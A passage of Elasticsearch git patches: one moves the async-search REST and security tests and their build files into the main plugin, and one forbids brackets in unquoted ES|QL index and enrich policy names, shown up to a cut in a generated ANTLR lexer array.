 x-pack/plugin/async-search/qa/build.gradle    |  0
 .../plugin/async-search/qa/rest/build.gradle  | 37 -------------------
 .../async-search/qa/security/build.gradle     | 11 ------
 .../xpack/search}/AsyncSearchHeadersIT.java   |  4 +-
 .../xpack/search/AsyncSearchSecurityIT.java   |  6 +--
 .../src/javaRestTest/resources/roles.yml      |  0
 .../elasticsearch/qa/AsyncSearchRestIT.java   | 13 +++++++
 .../test/async-search/10_deprecation.yml      |  0
 .../test/async-search/20_keep_alive.yml       |  0
 x-pack/test/deprecated-query/build.gradle     | 14 +++++++
 .../query/DeprecatedQueryBuilder.java         |  0
 .../query/DeprecatedQueryPlugin.java          |  0
 13 files changed, 49 insertions(+), 60 deletions(-)
 delete mode 100644 x-pack/plugin/async-search/qa/build.gradle
 delete mode 100644 x-pack/plugin/async-search/qa/rest/build.gradle
 delete mode 100644 x-pack/plugin/async-search/qa/security/build.gradle
 rename x-pack/plugin/async-search/{qa/rest/src/javaRestTest/java/org/elasticsearch/qa => src/javaRestTest/java/org/elasticsearch/xpack/search}/AsyncSearchHeadersIT.java (95%)
 rename x-pack/plugin/async-search/{qa/security => }/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchSecurityIT.java (99%)
 rename x-pack/plugin/async-search/{qa/security => }/src/javaRestTest/resources/roles.yml (100%)
 rename x-pack/plugin/async-search/{qa/rest => }/src/yamlRestTest/java/org/elasticsearch/qa/AsyncSearchRestIT.java (67%)
 rename x-pack/plugin/async-search/{qa/rest => }/src/yamlRestTest/resources/rest-api-spec/test/async-search/10_deprecation.yml (100%)
 rename x-pack/plugin/async-search/{qa/rest => }/src/yamlRestTest/resources/rest-api-spec/test/async-search/20_keep_alive.yml (100%)
 create mode 100644 x-pack/test/deprecated-query/build.gradle
 rename x-pack/{plugin/async-search/qa/rest => test/deprecated-query}/src/main/java/org/elasticsearch/query/DeprecatedQueryBuilder.java (100%)
 rename x-pack/{plugin/async-search/qa/rest => test/deprecated-query}/src/main/java/org/elasticsearch/query/DeprecatedQueryPlugin.java (100%)

diff --git a/x-pack/plugin/async-search/build.gradle b/x-pack/plugin/async-search/build.gradle
index b013d1df46b97..6117f8bea15dc 100644
--- a/x-pack/plugin/async-search/build.gradle
+++ b/x-pack/plugin/async-search/build.gradle
@@ -1,5 +1,8 @@
 apply plugin: 'elasticsearch.internal-es-plugin'
 apply plugin: 'elasticsearch.internal-cluster-test'
+apply plugin: 'elasticsearch.internal-java-rest-test'
+apply plugin: 'elasticsearch.internal-yaml-rest-test'
+
 esplugin {
     name = 'x-pack-async-search'
     description = 'A module which allows to track the progress of a search asynchronously.'
@@ -10,17 +13,24 @@ base {
   archivesName = 'x-pack-async-search'
 }
 
-addQaCheckDependencies(project)
-
 dependencies {
   compileOnly project(":server")
-  testImplementation testArtifact(project(':server'))
-
   compileOnly project(path: xpackModule('core'))
-  testImplementation(testArtifact(project(xpackModule('core'))))
-  testImplementation project(path: xpackModule('async'))
+  testImplementation testArtifact(project(':server'))
+  testImplementation testArtifact(project(xpackModule('core')))
+  testImplementation project(xpackModule('async'))
 
   internalClusterTestImplementation project(":modules:reindex")
-}
 
+  javaRestTestImplementation testArtifact(project(xpackModule('core')))
+
+  clusterModules project(":x-pack:test:deprecated-query")
+  clusterModules project(':modules:analysis-common')
+  clusterModules project(':test:external-modules:test-error-query')
+}
 
+restResources {
+  restApi {
+    include '_common', 'indices', 'index', 'async_search'
+  }
+}
diff --git a/x-pack/plugin/async-search/qa/build.gradle b/x-pack/plugin/async-search/qa/build.gradle
deleted file mode 100644
index e69de29bb2d1d..0000000000000
diff --git a/x-pack/plugin/async-search/qa/rest/build.gradle b/x-pack/plugin/async-search/qa/rest/build.gradle
deleted file mode 100644
index 7363aed336aaf..0000000000000
--- a/x-pack/plugin/async-search/qa/rest/build.gradle
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-
-apply plugin: 'elasticsearch.base-internal-es-plugin'
-apply plugin: 'elasticsearch.internal-java-rest-test'
-apply plugin: 'elasticsearch.legacy-yaml-rest-test'
-apply plugin: 'elasticsearch.legacy-yaml-rest-compat-test'
-
-esplugin {
-  name = 'x-pack-test-deprecated-query'
-  description = 'Deprecated query plugin'
-  classname ='org.elasticsearch.query.DeprecatedQueryPlugin'
-}
-
-dependencies {
-  clusterPlugins project(xpackModule('async-search'))
-}
-
-restResources {
-  restApi {
-    include '_common', 'indices', 'index', 'async_search'
-  }
-}
-
-testClusters.configureEach {
-  testDistribution = 'DEFAULT'
-  setting 'xpack.security.enabled', 'false'
-}
-
-// Test clusters run with security disabled
-tasks.named("yamlRestTest") {
-  buildParams.withFipsEnabledOnly(it)
-}
diff --git a/x-pack/plugin/async-search/qa/security/build.gradle b/x-pack/plugin/async-search/qa/security/build.gradle
deleted file mode 100644
index 79a379c48bc6e..0000000000000
--- a/x-pack/plugin/async-search/qa/security/build.gradle
+++ /dev/null
@@ -1,11 +0,0 @@
-apply plugin: 'elasticsearch.internal-java-rest-test'
-
-dependencies {
-  javaRestTestImplementation(testArtifact(project(xpackModule('core'))))
-  javaRestTestImplementation project(xpackModule('async-search'))
-  javaRestTestImplementation project(':test:framework')
-}
-
-tasks.named("javaRestTest").configure {
-  usesDefaultDistribution("to be triaged")
-}
diff --git a/x-pack/plugin/async-search/qa/rest/src/javaRestTest/java/org/elasticsearch/qa/AsyncSearchHeadersIT.java b/x-pack/plugin/async-search/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchHeadersIT.java
similarity index 95%
rename from x-pack/plugin/async-search/qa/rest/src/javaRestTest/java/org/elasticsearch/qa/AsyncSearchHeadersIT.java
rename to x-pack/plugin/async-search/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchHeadersIT.java
index de2bfd4c98ec9..5fe2eabf43aab 100644
--- a/x-pack/plugin/async-search/qa/rest/src/javaRestTest/java/org/elasticsearch/qa/AsyncSearchHeadersIT.java
+++ b/x-pack/plugin/async-search/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchHeadersIT.java
@@ -5,7 +5,7 @@
  * 2.0.
  */
 
-package org.elasticsearch.qa;
+package org.elasticsearch.xpack.search;
 
 import org.elasticsearch.client.Request;
 import org.elasticsearch.client.Response;
@@ -20,7 +20,7 @@
 
 public class AsyncSearchHeadersIT extends ESRestTestCase {
     @ClassRule
-    public static ElasticsearchCluster cluster = ElasticsearchCluster.local().plugin("x-pack-async-search").build();
+    public static ElasticsearchCluster cluster = ElasticsearchCluster.local().module("x-pack-async-search").build();
 
     @Override
     protected String getTestRestCluster() {
diff --git a/x-pack/plugin/async-search/qa/security/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchSecurityIT.java b/x-pack/plugin/async-search/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchSecurityIT.java
similarity index 99%
rename from x-pack/plugin/async-search/qa/security/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchSecurityIT.java
rename to x-pack/plugin/async-search/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchSecurityIT.java
index c5736fb440586..453c721674e01 100644
--- a/x-pack/plugin/async-search/qa/security/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchSecurityIT.java
+++ b/x-pack/plugin/async-search/src/javaRestTest/java/org/elasticsearch/xpack/search/AsyncSearchSecurityIT.java
@@ -26,7 +26,6 @@
 import org.elasticsearch.search.SearchHit;
 import org.elasticsearch.search.SearchResponseUtils;
 import org.elasticsearch.test.cluster.ElasticsearchCluster;
-import org.elasticsearch.test.cluster.local.distribution.DistributionType;
 import org.elasticsearch.test.cluster.util.resource.Resource;
 import org.elasticsearch.test.rest.ESRestTestCase;
 import org.elasticsearch.xcontent.ConstructingObjectParser;
@@ -95,8 +94,9 @@ public class AsyncSearchSecurityIT extends ESRestTestCase {
 
     @ClassRule
     public static ElasticsearchCluster cluster = ElasticsearchCluster.local()
-        .distribution(DistributionType.DEFAULT)
-        .nodes(2)
+        .module("test-error-query")
+        .module("analysis-common")
+        .module("x-pack-async-search")
         .setting("xpack.license.self_generated.type", "trial")
         .setting("xpack.security.enabled", "true")
         .rolesFile(Resource.fromClasspath("roles.yml"))
diff --git a/x-pack/plugin/async-search/qa/security/src/javaRestTest/resources/roles.yml b/x-pack/plugin/async-search/src/javaRestTest/resources/roles.yml
similarity index 100%
rename from x-pack/plugin/async-search/qa/security/src/javaRestTest/resources/roles.yml
rename to x-pack/plugin/async-search/src/javaRestTest/resources/roles.yml
diff --git a/x-pack/plugin/async-search/qa/rest/src/yamlRestTest/java/org/elasticsearch/qa/AsyncSearchRestIT.java b/x-pack/plugin/async-search/src/yamlRestTest/java/org/elasticsearch/qa/AsyncSearchRestIT.java
similarity index 67%
rename from x-pack/plugin/async-search/qa/rest/src/yamlRestTest/java/org/elasticsearch/qa/AsyncSearchRestIT.java
rename to x-pack/plugin/async-search/src/yamlRestTest/java/org/elasticsearch/qa/AsyncSearchRestIT.java
index cfcf2705c19c6..acc494318726b 100644
--- a/x-pack/plugin/async-search/qa/rest/src/yamlRestTest/java/org/elasticsearch/qa/AsyncSearchRestIT.java
+++ b/x-pack/plugin/async-search/src/yamlRestTest/java/org/elasticsearch/qa/AsyncSearchRestIT.java
@@ -9,11 +9,19 @@
 
 import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
 
+import org.elasticsearch.test.cluster.ElasticsearchCluster;
 import org.elasticsearch.test.rest.yaml.ClientYamlTestCandidate;
 import org.elasticsearch.test.rest.yaml.ESClientYamlSuiteTestCase;
+import org.junit.ClassRule;
 
 public class AsyncSearchRestIT extends ESClientYamlSuiteTestCase {
 
+    @ClassRule
+    public static ElasticsearchCluster cluster = ElasticsearchCluster.local()
+        .module("x-pack-test-deprecated-query")
+        .module("x-pack-async-search")
+        .build();
+
     public AsyncSearchRestIT(final ClientYamlTestCandidate testCandidate) {
         super(testCandidate);
     }
@@ -22,4 +30,9 @@ public AsyncSearchRestIT(final ClientYamlTestCandidate testCandidate) {
     public static Iterable<Object[]> parameters() throws Exception {
         return ESClientYamlSuiteTestCase.createParameters();
     }
+
+    @Override
+    protected String getTestRestCluster() {
+        return cluster.getHttpAddresses();
+    }
 }
diff --git a/x-pack/plugin/async-search/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/async-search/10_deprecation.yml b/x-pack/plugin/async-search/src/yamlRestTest/resources/rest-api-spec/test/async-search/10_deprecation.yml
similarity index 100%
rename from x-pack/plugin/async-search/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/async-search/10_deprecation.yml
rename to x-pack/plugin/async-search/src/yamlRestTest/resources/rest-api-spec/test/async-search/10_deprecation.yml
diff --git a/x-pack/plugin/async-search/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/async-search/20_keep_alive.yml b/x-pack/plugin/async-search/src/yamlRestTest/resources/rest-api-spec/test/async-search/20_keep_alive.yml
similarity index 100%
rename from x-pack/plugin/async-search/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/async-search/20_keep_alive.yml
rename to x-pack/plugin/async-search/src/yamlRestTest/resources/rest-api-spec/test/async-search/20_keep_alive.yml
diff --git a/x-pack/test/deprecated-query/build.gradle b/x-pack/test/deprecated-query/build.gradle
new file mode 100644
index 0000000000000..b0c14cd6b5d42
--- /dev/null
+++ b/x-pack/test/deprecated-query/build.gradle
@@ -0,0 +1,14 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+apply plugin: 'elasticsearch.base-internal-es-plugin'
+
+esplugin {
+  name = 'x-pack-test-deprecated-query'
+  description = 'Deprecated query plugin'
+  classname ='org.elasticsearch.query.DeprecatedQueryPlugin'
+}
diff --git a/x-pack/plugin/async-search/qa/rest/src/main/java/org/elasticsearch/query/DeprecatedQueryBuilder.java b/x-pack/test/deprecated-query/src/main/java/org/elasticsearch/query/DeprecatedQueryBuilder.java
similarity index 100%
rename from x-pack/plugin/async-search/qa/rest/src/main/java/org/elasticsearch/query/DeprecatedQueryBuilder.java
rename to x-pack/test/deprecated-query/src/main/java/org/elasticsearch/query/DeprecatedQueryBuilder.java
diff --git a/x-pack/plugin/async-search/qa/rest/src/main/java/org/elasticsearch/query/DeprecatedQueryPlugin.java b/x-pack/test/deprecated-query/src/main/java/org/elasticsearch/query/DeprecatedQueryPlugin.java
similarity index 100%
rename from x-pack/plugin/async-search/qa/rest/src/main/java/org/elasticsearch/query/DeprecatedQueryPlugin.java
rename to x-pack/test/deprecated-query/src/main/java/org/elasticsearch/query/DeprecatedQueryPlugin.java

From 024228dba8186f9f0660f530b83cbcdc477ab89b Mon Sep 17 00:00:00 2001
From: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
Date: Wed, 9 Jul 2025 18:58:47 +0200
Subject: [PATCH 109/299] ES|QL: Disallow brackets in unquoted index patterns
 (#130427) (#130938)

---
 docs/changelog/130427.yaml                    |    5 +
 .../esql/src/main/antlr/EsqlBaseParser.g4     |    7 +-
 .../esql/src/main/antlr/lexer/Enrich.g4       |    4 +-
 .../plugin/esql/src/main/antlr/lexer/From.g4  |    2 +-
 .../xpack/esql/action/EsqlCapabilities.java   |    8 +-
 .../xpack/esql/parser/EsqlBaseLexer.interp    |    3 +-
 .../xpack/esql/parser/EsqlBaseLexer.java      | 2325 +++++++++--------
 .../xpack/esql/parser/EsqlBaseParser.interp   |    3 +-
 .../xpack/esql/parser/EsqlBaseParser.java     | 2028 +++++++-------
 .../parser/EsqlBaseParserBaseListener.java    |   12 +
 .../parser/EsqlBaseParserBaseVisitor.java     |    7 +
 .../esql/parser/EsqlBaseParserListener.java   |   10 +
 .../esql/parser/EsqlBaseParserVisitor.java    |    6 +
 .../xpack/esql/parser/LogicalPlanBuilder.java |   15 +-
 .../esql/parser/StatementParserTests.java     |   70 +
 .../rest-api-spec/test/esql/220_explain.yml   |   25 +-
 .../rest-api-spec/test/esql/60_enrich.yml     |   56 +
 .../test/esql/61_enrich_bracket.yml           |  111 +
 18 files changed, 2540 insertions(+), 2157 deletions(-)
 create mode 100644 docs/changelog/130427.yaml
 create mode 100644 x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/61_enrich_bracket.yml

diff --git a/docs/changelog/130427.yaml b/docs/changelog/130427.yaml
new file mode 100644
index 0000000000000..4666cf0987cda
--- /dev/null
+++ b/docs/changelog/130427.yaml
@@ -0,0 +1,5 @@
+pr: 130427
+summary: Disallow brackets in unquoted index pattersn
+area: ES|QL
+type: bug
+issues: []
diff --git a/x-pack/plugin/esql/src/main/antlr/EsqlBaseParser.g4 b/x-pack/plugin/esql/src/main/antlr/EsqlBaseParser.g4
index c03e336eeb11f..86044901c716f 100644
--- a/x-pack/plugin/esql/src/main/antlr/EsqlBaseParser.g4
+++ b/x-pack/plugin/esql/src/main/antlr/EsqlBaseParser.g4
@@ -251,7 +251,12 @@ showCommand
     ;
 
 enrichCommand
-    : ENRICH policyName=ENRICH_POLICY_NAME (ON matchField=qualifiedNamePattern)? (WITH enrichWithClause (COMMA enrichWithClause)*)?
+    : ENRICH policyName=enrichPolicyName (ON matchField=qualifiedNamePattern)? (WITH enrichWithClause (COMMA enrichWithClause)*)?
+    ;
+
+enrichPolicyName
+    : ENRICH_POLICY_NAME
+    | QUOTED_STRING
     ;
 
 enrichWithClause
diff --git a/x-pack/plugin/esql/src/main/antlr/lexer/Enrich.g4 b/x-pack/plugin/esql/src/main/antlr/lexer/Enrich.g4
index 415355260da35..6e933998dc34c 100644
--- a/x-pack/plugin/esql/src/main/antlr/lexer/Enrich.g4
+++ b/x-pack/plugin/esql/src/main/antlr/lexer/Enrich.g4
@@ -24,7 +24,7 @@ ENRICH_WITH : WITH -> type(WITH), pushMode(ENRICH_FIELD_MODE);
 // similar to that of an index
 // see https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-create-index.html#indices-create-api-path-params
 fragment ENRICH_POLICY_NAME_BODY
-    : ~[\\/?"<>| ,#\t\r\n:]
+    : ~[\\/?"<>| ,#\t\r\n:()]
     ;
 
 ENRICH_POLICY_NAME
@@ -36,6 +36,8 @@ ENRICH_MODE_UNQUOTED_VALUE
     : ENRICH_POLICY_NAME -> type(ENRICH_POLICY_NAME)
     ;
 
+ENRICH_QUOTED_POLICY_NAME : QUOTED_STRING -> type(QUOTED_STRING);
+
 ENRICH_LINE_COMMENT
     : LINE_COMMENT -> channel(HIDDEN)
     ;
diff --git a/x-pack/plugin/esql/src/main/antlr/lexer/From.g4 b/x-pack/plugin/esql/src/main/antlr/lexer/From.g4
index 8ea8306b58be6..866c0934984e4 100644
--- a/x-pack/plugin/esql/src/main/antlr/lexer/From.g4
+++ b/x-pack/plugin/esql/src/main/antlr/lexer/From.g4
@@ -29,7 +29,7 @@ FROM_RP : RP -> type(RP), popMode;
 // in 8.14 ` were not allowed
 // this has been relaxed in 8.15 since " is used for quoting
 fragment UNQUOTED_SOURCE_PART
-    : ~[:"=|,[\]/ \t\r\n]
+    : ~[:"=|,[\]/() \t\r\n]
     | '/' ~[*/] // allow single / but not followed by another / or * which would start a comment -- used in index pattern date spec
     ;
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index 9661d571167ec..03e8cc8e5a53e 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1228,7 +1228,13 @@ public enum Cap {
         /**
          * Support avg with aggregate metric doubles
          */
-        AGGREGATE_METRIC_DOUBLE_AVG(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG);
+        AGGREGATE_METRIC_DOUBLE_AVG(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
+
+        /**
+         * Forbid usage of brackets in unquoted index and enrich policy names
+         * https://github.com/elastic/elasticsearch/issues/130378
+         */
+        NO_BRACKETS_IN_UNQUOTED_INDEX_NAMES;
 
         private final boolean enabled;
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseLexer.interp b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseLexer.interp
index bdbf88454ca0d..1154fb89a4c42 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseLexer.interp
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseLexer.interp
@@ -336,6 +336,7 @@ ENRICH_WITH
 ENRICH_POLICY_NAME_BODY
 ENRICH_POLICY_NAME
 ENRICH_MODE_UNQUOTED_VALUE
+ENRICH_QUOTED_POLICY_NAME
 ENRICH_LINE_COMMENT
 ENRICH_MULTILINE_COMMENT
 ENRICH_WS
@@ -554,4 +555,4 @@ RENAME_MODE
 SHOW_MODE
 
 atn:
-[4, 0, 139, 1856, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 2, 86, 7, 86, 2, 87, 7, 87, 2, 88, 7, 88, 2, 89, 7, 89, 2, 90, 7, 90, 2, 91, 7, 91, 2, 92, 7, 92, 2, 93, 7, 93, 2, 94, 7, 94, 2, 95, 7, 95, 2, 96, 7, 96, 2, 97, 7, 97, 2, 98, 7, 98, 2, 99, 7, 99, 2, 100, 7, 100, 2, 101, 7, 101, 2, 102, 7, 102, 2, 103, 7, 103, 2, 104, 7, 104, 2, 105, 7, 105, 2, 106, 7, 106, 2, 107, 7, 107, 2, 108, 7, 108, 2, 109, 7, 109, 2, 110, 7, 110, 2, 111, 7, 111, 2, 112, 7, 112, 2, 113, 7, 113, 2, 114, 7, 114, 2, 115, 7, 115, 2, 116, 7, 116, 2, 117, 7, 117, 2, 118, 7, 118, 2, 119, 7, 119, 2, 120, 7, 120, 2, 121, 7, 121, 2, 122, 7, 122, 2, 123, 7, 123, 2, 124, 7, 124, 2, 125, 7, 125, 2, 126, 7, 126, 2, 127, 7, 127, 2, 128, 7, 128, 2, 129, 7, 129, 2, 130, 7, 130, 2, 131, 7, 131, 2, 132, 7, 132, 2, 133, 7, 133, 2, 134, 7, 134, 2, 135, 7, 135, 2, 136, 7, 136, 2, 137, 7, 137, 2, 138, 7, 138, 2, 139, 7, 139, 2, 140, 7, 140, 2, 141, 7, 141, 2, 142, 7, 142, 2, 143, 7, 143, 2, 144, 7, 144, 2, 145, 7, 145, 2, 146, 7, 146, 2, 147, 7, 147, 2, 148, 7, 148, 2, 149, 7, 149, 2, 150, 7, 150, 2, 151, 7, 151, 2, 152, 7, 152, 2, 153, 7, 153, 2, 154, 7, 154, 2, 155, 7, 155, 2, 156, 7, 156, 2, 157, 7, 157, 2, 158, 7, 158, 2, 159, 7, 159, 2, 160, 7, 160, 2, 161, 7, 161, 2, 162, 7, 162, 2, 163, 7, 163, 2, 164, 7, 164, 2, 165, 7, 165, 2, 166, 7, 166, 2, 167, 7, 167, 2, 168, 7, 168, 2, 169, 7, 169, 2, 170, 7, 170, 2, 171, 7, 171, 2, 172, 7, 172, 2, 173, 7, 173, 2, 174, 7, 174, 2, 175, 7, 175, 2, 176, 7, 176, 2, 177, 7, 177, 2, 178, 7, 178, 2, 179, 7, 179, 2, 180, 7, 180, 2, 181, 7, 181, 2, 182, 7, 182, 2, 183, 7, 183, 2, 184, 7, 184, 2, 185, 7, 185, 2, 186, 7, 186, 2, 187, 7, 187, 2, 188, 7, 188, 2, 189, 7, 189, 2, 190, 7, 190, 2, 191, 7, 191, 2, 192, 7, 192, 2, 193, 7, 193, 2, 194, 7, 194, 2, 195, 7, 195, 2, 196, 7, 196, 2, 197, 7, 197, 2, 198, 7, 198, 2, 199, 7, 199, 2, 200, 7, 200, 2, 201, 7, 201, 2, 202, 7, 202, 2, 203, 7, 203, 2, 204, 7, 204, 2, 205, 7, 205, 2, 206, 7, 206, 2, 207, 7, 207, 2, 208, 7, 208, 2, 209, 7, 209, 2, 210, 7, 210, 2, 211, 7, 211, 2, 212, 7, 212, 2, 213, 7, 213, 2, 214, 7, 214, 2, 215, 7, 215, 2, 216, 7, 216, 2, 217, 7, 217, 2, 218, 7, 218, 2, 219, 7, 219, 2, 220, 7, 220, 2, 221, 7, 221, 2, 222, 7, 222, 2, 223, 7, 223, 2, 224, 7, 224, 2, 225, 7, 225, 2, 226, 7, 226, 2, 227, 7, 227, 2, 228, 7, 228, 2, 229, 7, 229, 2, 230, 7, 230, 2, 231, 7, 231, 2, 232, 7, 232, 2, 233, 7, 233, 2, 234, 7, 234, 2, 235, 7, 235, 2, 236, 7, 236, 2, 237, 7, 237, 2, 238, 7, 238, 2, 239, 7, 239, 2, 240, 7, 240, 2, 241, 7, 241, 2, 242, 7, 242, 2, 243, 7, 243, 2, 244, 7, 244, 2, 245, 7, 245, 2, 246, 7, 246, 1, 0, 1, 0, 1, 0, 1, 0, 5, 0, 515, 8, 0, 10, 0, 12, 0, 518, 9, 0, 1, 0, 3, 0, 521, 8, 0, 1, 0, 3, 0, 524, 8, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 5, 1, 533, 8, 1, 10, 1, 12, 1, 536, 9, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 544, 8, 2, 11, 2, 12, 2, 545, 1, 2, 1, 2, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 20, 1, 20, 1, 20, 1, 20, 1, 20, 1, 20, 1, 20, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 23, 1, 23, 1, 23, 1, 23, 1, 23, 1, 23, 1, 23, 1, 23, 1, 24, 1, 24, 1, 24, 1, 24, 1, 24, 1, 24, 1, 24, 1, 24, 1, 24, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 33, 4, 33, 821, 8, 33, 11, 33, 12, 33, 822, 1, 33, 1, 33, 1, 34, 1, 34, 1, 34, 1, 34, 1, 34, 1, 35, 1, 35, 1, 35, 1, 35, 1, 35, 1, 35, 1, 36, 1, 36, 1, 36, 1, 36, 1, 37, 1, 37, 1, 37, 1, 37, 1, 38, 1, 38, 1, 38, 1, 38, 1, 39, 1, 39, 1, 39, 1, 39, 1, 40, 1, 40, 1, 40, 1, 40, 1, 41, 1, 41, 1, 41, 1, 41, 1, 42, 1, 42, 1, 42, 1, 42, 1, 43, 1, 43, 1, 43, 1, 